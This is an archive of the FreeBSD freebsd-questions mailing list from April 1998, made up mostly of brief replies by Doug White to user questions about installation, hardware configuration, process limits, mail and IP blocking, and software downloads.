FreeBSD.ORG On Mon, 6 Apr 1998, Robert Deuerling wrote: > Hello, > > i was running 2.2.5-stable(now running 2.2.6-stable). > Why does a '/dev/MAKEDEV all' not build entries for sd0s1x ....? Known bug. I should really fix this. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 13:19:13 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA29695 for freebsd-questions-outgoing; Mon, 6 Apr 1998 13:19:13 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA29533 for ; Mon, 6 Apr 1998 13:18:54 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id NAA19044; Mon, 6 Apr 1998 13:18:34 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Mon, 6 Apr 1998 13:18:34 -0700 (PDT) From: Doug White Reply-To: Doug White To: "Jack T. Hsieh" cc: questions@FreeBSD.ORG Subject: Re: Importanting BSDI users In-Reply-To: <35288B59.EF3674D9@1connect.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 6 Apr 1998, Jack T. Hsieh wrote: > Hi, > We are a company using BSDI 2.1. Now we are testing the performance for > FBSD 2.2.5. > Here is the question: how can I import the user files from BSDI to FBSD > ? As long as DES is installed and you don't have any long names they should come over with little change. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 13:19:43 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA29855 for freebsd-questions-outgoing; Mon, 6 Apr 1998 13:19:43 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA29391; Mon, 6 Apr 1998 13:18:28 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id NAA19040; Mon, 6 Apr 1998 13:17:59 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Mon, 6 Apr 1998 13:17:59 -0700 (PDT) From: Doug White Reply-To: Doug White To: Malte Lance cc: questions@FreeBSD.ORG, freebsd-scsi@FreeBSD.ORG Subject: Re: jumper-setting for SONY SDT-7000 In-Reply-To: <3.0.32.19980406113752.006d6670@cyclone.degnet.baynet.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 6 Apr 1998, Malte Lance wrote: > Nice service when you can call it. It is not possible from germany. :( > The german Sony-center is too ignorant to provide that kind of service/ > support. 2 x :( How nice. > >`Terminator Power' selects the source of terminator power; it > >should be set to come from the SCSI Bus. > > The labels for open/close-position of this jumper are "provided" and > "Not provided". What should i choose ? (Ok ok ... answer it anyway please, > since i want to be sure, other people understand it the same way i do). > Why should it be set to "come from the SCSI Bus" ??? > Why not set it to "get power for active termination on its own and not > supply it to the SCSI Bus" ? Set to `not provided'. Provided probably means to provide power to the bus, which you don't want. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 13:19:56 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA00115 for freebsd-questions-outgoing; Mon, 6 Apr 1998 13:19:56 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA29836 for ; Mon, 6 Apr 1998 13:19:35 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id NAA19048; Mon, 6 Apr 1998 13:19:28 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Mon, 6 Apr 1998 13:19:28 -0700 (PDT) From: Doug White Reply-To: Doug White To: Steve Davies cc: questions@FreeBSD.ORG Subject: Re: Installation problems on v2.2.5 In-Reply-To: <002565DE.004449C6.00@notessmtp1.srv.uk.deuba.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 6 Apr 1998, Steve Davies wrote: > I wonder if anyone can help with an installation problem I am having > with the above version. I am trying to install on a Pentium II 300, > with an IBM disk drive, Diamond Stealth Graphics card, ensoniq sound > card. If you have a ZIP drive, take it out. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 13:22:47 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA01038 for freebsd-questions-outgoing; Mon, 6 Apr 1998 13:22:47 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA00783 for ; Mon, 6 Apr 1998 13:21:57 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id NAA19060; Mon, 6 Apr 1998 13:21:30 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Mon, 6 Apr 1998 13:21:30 -0700 (PDT) From: Doug White Reply-To: Doug White To: Peter Klatte cc: freebsd-questions@FreeBSD.ORG Subject: Re: installing freeBSD... In-Reply-To: <3528CCC8.41C6@student.uni-kassel.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by hub.freebsd.org id NAA00818 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 6 Apr 1998, Peter Klatte wrote: > Hi there! > > I´ bought last week the November Version of freeBSD. > And i tried to install freeBSD. It´s not the first Unix, which i > install, but here... I installed the Bootmanager and many Packages, but > the Kernel wasn`t installed. Why? I tried that four times. I`ve some > experience with Linux and i know, that there is a different to freeBSD. > And i have to learn somethings about freeBSD. And i like to use a good > Unix system instead of Windows95 or something else, Eh? That doesn't make sense -- unless there was a disk error you should get the kernel. Press ALT-F2 and record any error messages you get. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 13:23:30 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA01299 for freebsd-questions-outgoing; Mon, 6 Apr 1998 13:23:30 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA01066 for ; Mon, 6 Apr 1998 13:22:40 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id NAA19056; Mon, 6 Apr 1998 13:20:00 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Mon, 6 Apr 1998 13:20:00 -0700 (PDT) From: Doug White Reply-To: Doug White To: Tomas TPS Ulej cc: freebsd-questions@FreeBSD.ORG Subject: Re: no more processes In-Reply-To: <199804061232.OAA18439@tps.sk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 6 Apr 1998, Tomas TPS Ulej wrote: > I got this error message: "no more processes" > What's the reason? > > In that time, when I got error message I run X server with aftersetep, > xtimer, xpostit, xperfmon, netscape 4.04b and 9x xterm You hit your login class process limit. Quit something or modify /etc/login.conf to give yourself more processes. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 13:23:48 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA01364 for freebsd-questions-outgoing; Mon, 6 Apr 1998 13:23:48 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA01087 for ; Mon, 6 Apr 1998 13:22:45 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id NAA19064; Mon, 6 Apr 1998 13:22:34 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Mon, 6 Apr 1998 13:22:34 -0700 (PDT) From: Doug White Reply-To: Doug White To: Henry Hojnacki cc: questions@FreeBSD.ORG Subject: Re: Sound Problems In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 6 Apr 1998, Henry Hojnacki wrote: > Greetings! > > I am running freebsd 2.1 and have recently installed > a new sound card, a soundblaster 16 OEM "Plug & Pray". Upgrade to 2.2.6 and install the PnP controller in the new kernel. ``TUV Product Service'' is the German equivalent of the FCC. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 13:24:49 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA01815 for freebsd-questions-outgoing; Mon, 6 Apr 1998 13:24:49 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA01554 for ; Mon, 6 Apr 1998 13:24:08 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id NAA19068; Mon, 6 Apr 1998 13:23:54 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Mon, 6 Apr 1998 13:23:54 -0700 (PDT) From: Doug White Reply-To: Doug White To: Val cc: freebsd-questions@FreeBSD.ORG Subject: Re: different ftp directory from home directory. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 6 Apr 1998, Val wrote: > I am trying to set up a user to have a different ftp directory from his > home (telnet directory). Is this possible? I suppose, but why? > Also, when he logs in through ftp, he can't go down the directory tree > below his home directory. I think I put him into the wheel and staff > groups. What else do I need to do? Is he logging in as the same user he telnets in as? Is the permissions on his home directory correct? Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 13:29:25 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA03804 for freebsd-questions-outgoing; Mon, 6 Apr 1998 13:29:25 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from cubitus.physics.uottawa.ca (cubitus.physics.uottawa.ca [137.122.32.108]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA03619 for ; Mon, 6 Apr 1998 13:28:56 -0700 (PDT) (envelope-from shubert@cubitus.physics.uottawa.ca) Received: (from shubert@localhost) by cubitus.physics.uottawa.ca (8.8.5/8.8.5) id PAA00225 for freebsd-questions@FreeBSD.ORG; Mon, 6 Apr 1998 15:27:02 -0400 (EDT) Date: Mon, 6 Apr 1998 15:27:02 -0400 (EDT) From: Sylvain Hubert Message-Id: <199804061927.PAA00225@cubitus.physics.uottawa.ca> To: freebsd-questions@FreeBSD.ORG Subject: CD-Rom Writer - kernel configuration? Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, I am trying to make my cd-rom writer (YAMAHA CDR400t) to be read as worm0 instead of cd0 in the booting process. I have add the following line to the kernel: device worm0 scbus? and recompile the kernel. I also add a dev with "MAKEDEV worm". When I reboot my computer, my cd-rom still appeared under cd0 and no comment for worm0 appeared. Can anybody help me? Please reply to: hubert@physics.uottawa.ca Sylvain Hubert ver: FreeBSD-2.2.2 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 13:30:08 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA04165 for freebsd-questions-outgoing; Mon, 6 Apr 1998 13:30:08 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA03834 for ; Mon, 6 Apr 1998 13:29:26 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id NAA19091; Mon, 6 Apr 1998 13:29:14 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Mon, 6 Apr 1998 13:29:13 -0700 (PDT) From: Doug White Reply-To: Doug White To: anthony@sohopros.com cc: freebsd-questions@FreeBSD.ORG Subject: Re: communicator-v404 In-Reply-To: <3.0.32.19980406132326.00900220@pop.flash.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 6 Apr 1998 anthony@sohopros.com wrote: > Does anyone have a copy of: > communicator-v404-export.x86-unknown-freebsd.tar.gz > that I can download. ftp.netscape.com? > P.S. this file no longer resides at ftp.netscape.com.... Barf. Did you try ftp26? Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 13:32:26 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA04927 for freebsd-questions-outgoing; Mon, 6 Apr 1998 13:32:26 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA04645 for ; Mon, 6 Apr 1998 13:31:36 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id NAA19102; Mon, 6 Apr 1998 13:31:14 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Mon, 6 Apr 1998 13:31:14 -0700 (PDT) From: Doug White Reply-To: Doug White To: s_martin@apics-hq.org cc: freebsd-questions@FreeBSD.ORG Subject: Re: Block IP address In-Reply-To: <3192A1127F7@apics_3.apics-hq.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 6 Apr 1998, Sherry Martin wrote: > I am fairly new at the FreeBSD operating system and was hoping > someone might be able to answer a question for me. I currently use > FreeBSD as my mail gateway and would like to explicity block an IP > address -- Can anyone tell me how to do this? Do you want to just block mail from this person or block him/her entirely? For #1, see /etc/mail/sendmail.cf.additions; for #2, install ipfw. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 13:32:38 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA04972 for freebsd-questions-outgoing; Mon, 6 Apr 1998 13:32:38 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA04841 for ; Mon, 6 Apr 1998 13:32:09 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id NAA19095; Mon, 6 Apr 1998 13:29:50 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Mon, 6 Apr 1998 13:29:50 -0700 (PDT) From: Doug White Reply-To: Doug White To: "de Bari, Baden Rosario (ISM)" cc: "'questions@FreeBSD.ORG'" Subject: Re: One more question In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 6 Apr 1998, de Bari, Baden Rosario (ISM) wrote: > > Becuase I do use quite a bit of Windows software - is there an option to > use windows-based programs with FreeBSD? There are emulators but they aren't very good and can only run Win3.1 programs. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 13:32:43 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA05028 for freebsd-questions-outgoing; Mon, 6 Apr 1998 13:32:43 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from sirus.com (sirus.com [209.69.120.254]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA04870 for ; Mon, 6 Apr 1998 13:32:12 -0700 (PDT) (envelope-from sdepalma@sirus.com) Received: from sdepalma (hport5.sirus.com [209.69.120.54]) by sirus.com (8.8.7/8.8.5) with SMTP id QAA02560 for ; Mon, 6 Apr 1998 16:31:29 -0400 Message-Id: <3.0.32.19980406163208.006bbac8@sirus.com> X-Sender: sdepalma@sirus.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Mon, 06 Apr 1998 16:32:10 -0400 To: freebsd-questions@FreeBSD.ORG From: "Scott M. DePalma" Subject: Filespace allocation Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I have installed fbsd 2.2.5 from floppies on my old 386. The master drive is 200 MB with a small DOS partition and the rest partitioned for fbsd. The second drive is 540 MB with a single fbsd partition. In allocating space on the small drive, I used the automatic setting so that the system established the size of /, /var and swap. The rest (89 MB) was assigned to /usr. But as such I can't assign /usr to the larger drive. Or, if I do, the smaller drive is left with 89 MB of unused space. At present, I don't intend to use this installation for networking. I am merely trying to learn a new and well-known os. I may want to be an X-user at some point, but for now I'm tired of GUI's. I would appreciate info on the optimum filespace allocation for each drive. Given the suggestion, I think that I can handle the actual setup OK. TIA. Scott To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 13:33:11 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA05248 for freebsd-questions-outgoing; Mon, 6 Apr 1998 13:33:11 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA05060 for ; Mon, 6 Apr 1998 13:32:45 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id NAA19106; Mon, 6 Apr 1998 13:31:48 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Mon, 6 Apr 1998 13:31:48 -0700 (PDT) From: Doug White Reply-To: Doug White To: Paul MacKenzie cc: freebsd-questions@FreeBSD.ORG Subject: Re: Domain name problem: DNS & Sendmail?? In-Reply-To: <199804062015.QAA00398@server.elehost.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 6 Apr 1998, Paul MacKenzie wrote: > Hello, > > small problem.. > > when I send mail to xxx@server.FQDN.com it works.. > > when I send mail to xxx@FQDN.com it doesnt.. How doesn't it work? Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 13:34:00 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA05716 for freebsd-questions-outgoing; Mon, 6 Apr 1998 13:34:00 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA05229 for ; Mon, 6 Apr 1998 13:33:07 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id NAA19110; Mon, 6 Apr 1998 13:33:00 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Mon, 6 Apr 1998 13:33:00 -0700 (PDT) From: Doug White Reply-To: Doug White To: Murli Nagasundaram cc: freebsd-questions@FreeBSD.ORG Subject: Re: Apache? FreeBSD In-Reply-To: <35293E80.72BA@cobfac.idbsu.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 6 Apr 1998, Murli Nagasundaram wrote: > Why does clicking on an link to www.apache.org take one to > www.freebsd.org? Because that's where the link really points? Where are you looking? Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 13:46:01 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA02475 for freebsd-questions-outgoing; Mon, 6 Apr 1998 13:26:32 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA02236 for ; Mon, 6 Apr 1998 13:25:42 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id NAA19079; Mon, 6 Apr 1998 13:25:29 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Mon, 6 Apr 1998 13:25:29 -0700 (PDT) From: Doug White Reply-To: Doug White To: Aviva Garrett cc: questions@FreeBSD.ORG Subject: Re: FreeBSD trademark issues In-Reply-To: <199804061652.JAA20186@red.juniper.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 6 Apr 1998, Aviva Garrett wrote: > We use FreeBSD as the underlying operating system for our software > product. In the trademark and copyright section of our documentation, > how would you like us to recognize this? Do you have any standard legal > text that we need to include? Yes there is. See the file /COPYRIGHT on any installed system. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 13:47:32 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA09760 for freebsd-questions-outgoing; Mon, 6 Apr 1998 13:47:32 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from rocksalt.mui.net ([207.12.13.235]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA09751 for ; Mon, 6 Apr 1998 13:47:23 -0700 (PDT) (envelope-from ken@mui.net) From: ken@mui.net Received: from lihing.mui.net (lihing.mui.net [207.12.13.237]) by rocksalt.mui.net (8.8.8/8.8.7) with SMTP id KAA17172 for ; Mon, 6 Apr 1998 10:47:18 -1000 (HST) (envelope-from ken@mui.net) Message-Id: <199804062047.KAA17172@rocksalt.mui.net> Comments: Authenticated sender is To: freebsd-questions@FreeBSD.ORG Date: Mon, 6 Apr 1998 10:46:05 +0000 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re: communicator-v404 References: <3.0.32.19980406132326.00900220@pop.flash.net> In-reply-to: X-mailer: Pegasus Mail for Win32 (v2.54) Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > On Mon, 6 Apr 1998 anthony@sohopros.com wrote: > > Does anyone have a copy of: > > communicator-v404-export.x86-unknown-freebsd.tar.gz > > that I can download. > > ftp.netscape.com? > > > P.S. this file no longer resides at ftp.netscape.com.... Anthony, don't you prefer version 4.05? it's at ftp.netscape.com /pub/communicator/4.05/development/english/unix/freebsd They have base_install for communicator navigator_standalone for navigator professinal_edition for everything ken To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 13:48:22 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA02582 for freebsd-questions-outgoing; Mon, 6 Apr 1998 13:26:55 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA02405 for ; Mon, 6 Apr 1998 13:26:14 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id NAA19072; Mon, 6 Apr 1998 13:24:53 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Mon, 6 Apr 1998 13:24:52 -0700 (PDT) From: Doug White Reply-To: Doug White To: denwagh@innocent.com cc: freebsd-questions@FreeBSD.ORG Subject: Re: Modems. In-Reply-To: <3528EA7E.AADD4507@airmail.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 6 Apr 1998, KT Gibbs wrote: > I read through your FAQ, very informative however I am having a small > problem. I have a 56k Phillips Flex modem, it is PNP (bleh), and > although I can get a Sportster 28.8 to work just fine, I cannot get the > 56k to be recognized. Both modems are on IRQ 5, The Sportster is Jumper > set, the 56k is not but it always gets recognized on IRQ 5 when in a 95 > box. Any suggestions? Does the 56K require Windows configuration (i.e. Winmodem)? You might try installing 2.2.6 and enabling PnP. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From 